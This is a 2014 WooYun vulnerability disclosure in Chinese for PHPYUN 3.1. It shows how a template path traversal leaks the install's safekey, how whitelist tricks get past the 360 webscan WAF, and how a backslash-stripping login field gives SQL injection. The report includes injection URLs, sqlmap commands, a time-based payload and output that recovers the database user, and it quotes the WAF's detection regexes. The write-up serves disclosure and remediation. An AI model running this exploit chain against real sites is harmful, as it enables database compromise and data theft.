当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(60) 关注此漏洞

缺陷编号: WooYun-2014-70126

漏洞标题: 一步步击溃PHPYUN(另类方法绕过防注入)

相关厂商: php云人才系统

漏洞作者: 猪头子

提交时间: 2014-07-29 14:39

公开时间: 2014-10-27 14:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析

20人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-07-29: 厂商已经确认,细节仅向厂商公开
2014-08-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-22: 细节向核心白帽子及相关领域专家公开
2014-10-02: 细节向普通白帽子公开
2014-10-12: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

由某处SQL注入引起,最终通过组合漏洞击溃PHPYUN

详细说明:

测试版本:PHPYUN 3.1 GBK beta 20140728

PHPYUN使用了两套waf,一套自己写的,一套360的,从第一套开始。

\data\db.safety.php:

code 区域
quotesGPC(); // 效果:addslashes
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
foreach($_GET as $id=>$v){

safesql($id,$v,"GET",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
if(!is_array($v))
$v=substr(strip_tags($v),0,80);

$_GET[$id]=common_htmlspecialchars($v);
}

foreach($_COOKIE as $id=>$v){

safesql($id,$v,"COOKIE",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$v=substr(strip_tags($v),0,52);
$_COOKIE[$id]=common_htmlspecialchars($v);
}



首先通过quotesGPC()对输入进行addslashes,然后分别对$_GET/$_POST/$_COOKIE做同样的过滤($_POST为例):

code 区域
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);



但对$_POST做过滤时多了一个判断:

code 区域
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}



当判断为真时进行过滤,为假则不过滤,而判断中的两个条件:

code 区域
$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']



默认$config['sy_istemplate']=1,因此只要第二个条件为false就可以跳过对$_POST参数的过滤。

而第二个条件最关键的参数$config['sy_safekey']未知,它是在安装时随机生成的:

\install\index.php

code 区域
$r=rand(10000000,99999999);
mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");



懒得穷举,可不可以用更优雅的方法拿到safekey?

搜索一下,看看有没有可能从其他地方泄露这个值,结果发现了好玩的东西:

\templates_c\%%8F^8F9^8F951B06%%admin_web_config.htm.php

code 区域
<tr>
<th width="160">系统安全码:</th>
<td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="<?php echo $this->_tpl_vars['config']['sy_safekey']; ?>
" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
<td width="160">sy_safekey</td>
</tr>



此处模板里会输出safekey,但是如果直接访问这个模板的话,会因为$this未定义而报错。

按照模板编译的风格,这个命名方式的模板应该是编译后的模板,来找到其对应的编译前模板:

\template\admin\admin_web_config.htm

code 区域
<tr>
<th width="160">系统安全码:</th>
<td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="{yun:}$config.sy_safekey{/yun}" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
<td width="160">sy_safekey</td>
</tr>



如果能让PHPYUN编译这个模板,拿到输出,safekey就到手了,因此需要找到可控的编译点:

\company\model\index.class.php:

code 区域
function index_action(){
if($this->uid!=$_GET['id']&&$_COOKIE['usertype']=='1'){
... ... ...
}
if($_POST['submit'])
{
... ... ...
}
if($_POST['submit2'])
{
... ... ...
}
... ... ...
$tp=$_GET['tp']?$_GET['tp']:"index";
$this->seo("company_".$tp);
$this->yunset("com_style",$this->config['sy_weburl']."/template/company/".$tplurl."/");
$this->yunset("comstyle","../template/company/".$tplurl."/");
$this->yunset("defaultstyle","../template/default/");
$this->yuntpl(array('company/'.$tplurl."/".$tp));

}



在这里$_GET['tp']被传入到$tp然后进入$this->yuntpl(array('company/'.$tplurl."/".$tp)),yuntpl函数的主要作用是加载模板并编译输出它,所以只要控制$_GET['tp']为../../admin/admin_web_config就可以编译想要的模板了,试试:

4b1b7a51jw1ehkpk26ynwj20zh0pxtct.jpg



官方demo试试:

1.png



看到可爱的safekey了。

拿到safekey后,就能让前面判断的第二个条件为false,因此第一个waf就跳过了。

来到第二个waf,360的webscan:

code 区域
if(is_file(LIB_PATH.'webscan360/360safe/360webscan.php')){
require_once(LIB_PATH.'webscan360/360safe/360webscan.php');
}



在360webscan.php中还有又一轮的过滤: \include\webscan360\360safe\360webscan.php

code 区域
//get拦截规则
$getfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



这些正则会被用在:

code 区域
if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {

if ($webscan_get) {

foreach($_GET as $key=>$value) {
webscan_StopAttack($key,$value,$getfilter,"GET"); // 对GET进行过滤
}
}
if ($webscan_post) {
foreach($_POST as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"POST"); // 对POST进行过滤
}
}
if ($webscan_cookie) {
foreach($_COOKIE as $key=>$value) {
webscan_StopAttack($key,$value,$cookiefilter,"COOKIE"); // 对COOKIE进行过滤
}
}
if ($webscan_referre) {
foreach($webscan_referer as $key=>$value) {
webscan_StopAttack($key,$value,$postfilter,"REFERRER"); // 对REFERER头进行过滤
}
}
}



而检测点的第一个if判断是可以跳过的:

code 区域
if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {



$webscan_switch默认是1.

webscan_white($webscan_white_directory,$webscan_white_url)用来检查当前URL请求在不在白名单范围中,存在的话就不检查: \include\webscan360\360safe\360webscan.php:215

code 区域
/**
* 拦截目录白名单
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['PHP_SELF'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1) {
return false;
}
foreach ($webscan_white_url as $key => $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
}
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
return false;
}
}
}

return true;
}



webscan_white先判断请求url是否在白名单里,接下来判断请求的参数对是否在白名单里,白名单:

code 区域
//后台白名单,后台操作将不会拦截,添加"|"隔开白名单目录下面默认是网址带 admin  /dede/ 放行
$webscan_white_directory='admin|\/dede\/|\/install\/';
//url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行
//写法:比如phpcms 后台操作url index.php?m=admin php168的文章提交链接post.php?job=postnew&step=post ,dedecms 空间设置edit_space_info.php
$webscan_white_url = array('index.php' => 'admin_dir=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');



这个白名单检测知道怎么绕过的人应该很多,只要让传入参数存在白名单目录或参数即可。 比如利用白名单目录: http://**.**.**.**/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx 由于请求中包含了白名单目录/dede/,所以放行。 利用白名单参数: http://**.**.**.**/index.php?m=foo&c=bar&admin_dir=admin&id=1' and 1=2 union select xxx 同理,请求中包含了白名单参数所以放行。

绕过360waf后,接下来就进入程序逻辑,没有什么需要绕的了。

虽然绕了两个waf,但是还有一个quotesGPC()函数是生效的,quotesGPC()的作用:

code 区域
function quotesGPC() {

if(!get_magic_quotes_gpc()){
$_POST = array_map("addSlash", $_POST);
$_GET = array_map("addSlash", $_GET);
$_COOKIE = array_map("addSlash", $_COOKIE);
}

}
function addSlash($el) {
if (is_array($el))
return array_map("addSlash", $el);
else
return addslashes($el);
}



等同于一个addslashes_deep,想要绕过这个得结合具体漏洞点:

\wap\model\login.class.php:30

code 区域
function index_action()
{
$this->get_moblie(); // 通过UA判断是否是手机端
if($this->uid || $this->username)
{
$this->wapheader('member/index.php'); //登陆用户跳转
}
if($_POST['submit'])
{
if($_POST['wxid'])
{
$wxparse = '&wxid='.$_POST['wxid'];
}
$usertype=$_POST['usertype']?intval($_POST['usertype']):1;
$username = str_replace('\\','',$_POST['username']); // 漏洞点:过滤\
if($usertype>0 && $username!='')
{
$userinfo = $this->obj->DB_select_once("member","`username`='".str_replace('\\','',$_POST['username'])."' and usertype='".$usertype."'","username,usertype,password,uid,salt");

... ... ...



由于str_replace('\\','',$_POST['username']);过滤了\,直接导致quotesGPC函数失效。

quotesGPC失效,单引号就可逃脱

safekey拿到,第一套过滤就可绕过

360webscan用白名单绕过

所以该处注入漏洞存在并无视防御

漏洞证明:

参数username为注册的用户名,参数usertype为注册的用户类型,然后用之前的方法获得safekey后,使用SQLMAP:

code 区域
root@kali:/usr/share/sqlmap/tamper# sqlmap -u "**.**.**.**/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --flush-session

... ...
... ...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 823 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:04:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL 5.0.11
[01:04:39] [INFO] fetched data logged to text files under './output/**.**.**.**'

[*] shutting down at 01:04:39



当前用户:

code 区域
root@kali:/usr/share/sqlmap/tamper# sqlmap -u "**.**.**.**/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --current-user

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:09:14

[01:09:14] [WARNING] provided parameter 'username' is not inside the GET
[01:09:14] [INFO] testing connection to the target url
sqlmap got a 302 redirect to '**.**.**.**:80/phpyun/728/wap/index.php'. Do you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:09:15] [INFO] testing MySQL
[01:09:15] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[01:09:25] [INFO] confirming MySQL
[01:09:25] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[01:09:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[01:09:35] [INFO] fetching current user
[01:09:35] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[01:09:35] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[01:14:57] [INFO] fetched data logged to text files under './output/**.**.**.**'

[*] shutting down at 01:14:57

root@kali:/usr/share/sqlmap/tamper#

修复方案:

1、修复泄露safekey的问题

2、修复360webscan被绕过问题

3、修复注入

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-29 14:57

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-29 14:54 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    淫荡流

  2. 2014-07-29 14:55 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)
    0

    关注下,看看ztz究竟有多淫荡..

  3. 2014-07-29 14:55 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)
    0

    都开始玩组合拳了

  4. 2014-07-29 14:57 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    @Finger 他于 2011-07-14 注册,已来到乌云 1111 天 注定孤独一生吗?

  5. 2014-07-29 15:06 | Xser ( 普通白帽子 | Rank:386 漏洞数:87 | JDSec)
    0

    @′ 雨。 我同学生日11月11日--

  6. 2014-07-29 15:07 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)
    1

    @′ 雨。 ...

  7. 2014-07-29 15:08 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)
    0

    最近频繁放漏洞啊

  8. 2014-07-29 15:14 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @小新 再不放就捂烂了

  9. 2014-07-29 17:17 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    @小新 @猪头子 ~组合技啊

  10. 2014-08-01 20:48 | 小庄 ( 路人 | Rank:10 漏洞数:2 )
    1

    怎么看不到内容啊~

  11. 2014-08-18 16:22 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    谢谢ztz大牛没走通用性让我们提前拜读

  12. 2014-08-19 10:57 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区! Blog:http://www.xlixli....)
    0

    nice!

  13. 2014-08-20 11:36 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    都是那么牛逼的

  14. 2014-08-20 20:27 | 飞扬风 ( 普通白帽子 | Rank:528 漏洞数:129 | 追求安全,热爱技术)
    0

    确实漂亮~

  15. 2014-09-16 12:30 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )
    0

    ztz师傅我要给你生鸽子

  16. 2014-10-27 14:48 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)
    0

    思路真的好强大。

  17. 2014-10-27 15:42 | 皂皂 ( 路人 | Rank:0 漏洞数:1 | a hacker and painter)
    0

    师傅好厉害哦

  18. 2014-10-27 18:02 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)
    0

    那个discuz的getshell快被你捂烂了

  19. 2014-10-27 19:51 | Sunshine ( 实习白帽子 | Rank:51 漏洞数:10 | Nothing.)
    0

    大牛好久不见了哈

  20. 2014-10-27 21:00 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    分析的好

  21. 2014-10-27 21:08 | 醉青丝 ( 路人 | Rank:11 漏洞数:2 | null)
    0

    厉害

  22. 2014-10-30 16:28 | Stranger ( 路人 | Rank:0 漏洞数:1 | 我注意你很久了.....)
    0

    哇哦....

登录后才能发表评论,请先 登录